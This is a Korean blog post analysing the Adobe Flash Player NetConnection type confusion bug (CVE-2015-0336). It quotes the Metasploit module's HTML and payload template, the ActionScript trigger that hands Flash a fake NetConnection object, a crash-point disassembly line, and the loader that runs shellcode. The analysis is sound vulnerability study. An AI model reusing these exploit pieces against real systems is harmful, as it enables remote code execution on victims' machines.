[HACKING] Adobe Flash Player NetConnection Type Confusion(CVE-2015-0336) 분석

오랜만에 취약점 분석글을 작성합니다. 별다른건 아니고 x90c와 메일로 이야기하던 건이 있는데, 퇴근길에 보다보니 포스팅거리가 되어버렸네요. (아깝잖아요..)

오늘 포스팅할 글은 2015년도 Adobe Flash Player에서의 Type Confusion 취약점입니다.

Type Confusion?

우선 Type Confusion에 대해 정리하고 갈까 합니다. 직역하면 타입 혼동? 단순하게 보면 Type을 혼동해서 발생할 수 있는 문제로 인지하면 좋습니다.

아래와 같은 코드에 i가 어떤 값일 때 zz이 프린트 될까요?

// input i : ??

if(i==1)
{
   printf("zz");
}

작성자의 의도는 1이겠지만, 실제로는 bool 자료형인 true, char인 영어 알파벳(각각 알파벳의 해당하는 숫자값을 가지기 때문에) 등등 여러가지가 있을겁니다. 이런 유형의 취약점을 의미합니다. 케이스에 따라 범위가 굉장히 넓어질 수도 있겠지요.

NetConnection?

우선 ActionScript에서 사용되는 NetConnection에 대해 간략하게 정리해봅시다. 어도비 홈에 잘 나와있습니다. (https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html )

이름 그대로 클라이언트와 서버 간에 양방향 연결을 만드는 클래스입니다.

관련 API 요소

  • client
  • NetStream
  • connect()
  • flash.net.Responder

공격코드 거꾸로 파헤치기 1 - Exploit code

여러 아티클들을 읽어보면 flash player에서 type confusion 이 발생한다고 하는데요, 거꾸로 보는 것도 재미있는 놀이거리입니다.

우선 공개된 Exploit code는 Metasploit module 입니다. (https://www.exploit-db.com/exploits/36962/ )

코드가 길진 않습니다.

 def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    trigger_hex_stream = @trigger.unpack('H*')[0]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

일반적인 swf 로드 구문입니다. 다만 잘 봐야할건, swf의 인자값 중 tr에 trigger_hex_stream 을 전달해줍니다.

trigger_hex_stream = @trigger.unpack('H*')[0]

=>

exploit 함수 내

@trigger = create_trigger

=>

def create_trigger
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
end

결국은 create_trigger에서 만들어진 파일이 tr로 넘어가게 됩니다. create_trigger를 보면.. Msf::Config.data_directory에서 CVE-2015-0336 내 trigger.swf를 불러옵니다. 그럼.. trigger.swf를 봐볼까요?

공격코드 거꾸로 파헤치기 2 - Vulnerable point

문제가 발생한 trigger.swf 파일입니다.

trigger.swf

class Main
{
   function Main()
   {
   }
   static function main(swfRoot)
   {
      var _loc3_ = _global.ASnative(2100,-1788076032);  // _loc3은 NetConnection 이 아님
                                                        // 훗날 AS 엔진이 이 주소의 데이터를 참조하려 함
      var _loc4_ = new Object();
      _loc3_.__proto__ = _loc4_; // _loc3의 proto는 _loc4로 저장
      _global.ASnative(2100,200)(_loc4_);   // new NetConnection (_loc4 는 객체를 할당받음)
      _global.ASnative(2100,8).apply(_loc3_,[1]);  //
   }
}

내용이 별다른건 없고, 여기에 문제가된 코드가 존재합니다. 우선 ASnative 함수에 대해 알고가야합니다. ASnative는 ActionScript에서 native한 실행? 을 위해 사용되고, 인자값으로 들어가는 숫자에 따라 수행되는 함수가 달라집니다.

e.g

t = ASnative(100, 4); // trace
function t("hi"); // output: hi

예시로 ASnative 의 100 인자값은 trace 를 의미합니다. 그래서 두번째 줄의 코드가 실행될 때 trace 함수가 호출됩니다.

다시 돌아와서, 지금은 모두 앞에 2100이란 숫자가 넘어가고 이는 NetConnection을 의미합니다.

그럼 처음부터 보면, _loc3에 ASnative 인자값으로 2100, -1788076032의 값을 넘깁니다. 재미있는 점은 두번째 인자값이 -1788076032과 같이 정의된 숫자가 아닐 경우 비정상적인 객체를 받게됩니다. (결국은 NetConnection이 아니란 소리)

_loc4 에 Object를 할당하고, _loc3의 proto에 _loc4를 넣어줍니다. 그 다음 ASnative로 (2100, 200) _loc4는 NetConnection type으로 초기화합니다. 다음줄에 NetConnection에 _loc3를 apply하여 NetConnection 객체로 사용하지만 _loc3은 NetConnection type이 아닙니다. 그래서 비정상적인 Type이 강제로 들어가있는 상태입니다.

이런 상태로 프로그램이 동작하게 되면 Crash가 나게되는데, 이를 따라가면 크래시 포인트를 찾을 수 있습니다.

7061f9b2 8b4f7c mov ecx, dword ptr [edi + 7Ch] ds : 002b : 1a1e207c = ????????

코드만 보고 작성하는지라, 내용이 좀 다르겠지만… 크래시 포인트의 1a1e207c 주소값과 처음 인자값으로 넘긴 -1788076032의 위치가 거의 유사하게 나타납니다. ASEngine에선 생각도 못한 부분이겠죠. 그래서 공격자가 처음 var loc3 = _global.ASnative(2100,-1788076032); 구문을 이용해서 edi 값의 위치를 제어할 수 있어집니다.

이후에 자세한 내용은 이 글 참고하시면 좋습니다. https://cloudblogs.microsoft.com/microsoftsecure/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/

공격코드 거꾸로 파헤치기 3 - Payloads..

실제 공격코드가 돌아가는 msf.swf 를 보면..

msf.swf

>  trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr;
         var _loc2_:ByteArray = createByteArray(trigger_swf);
         _loc2_.endian = "littleEndian";
         _loc2_.position = 0;
         var _loc3_:Loader = new Loader();
         _loc3_.loadBytes(_loc2_);
         interval_id = setTimeout(do_exploit,2000);
        

tr로 받은 객체(잘못된 NetConnection이 들어있는)를 _loc2에 넣고 이를 _loc3에서 loadByptes로 읽어줍니다. 이 순간 문제가 발생하고 trigger.swf 의 NetConnection(가짜)이 처리되며 edi 값이 이 swf를 가리킵니다. 이후에 do_exploit(쉘코드 실행)을 통해 쉘이 떨어지게 됩니다.

Reference

https://www.exploit-db.com/exploits/36962/ https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html https://cloudblogs.microsoft.com/microsoftsecure/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/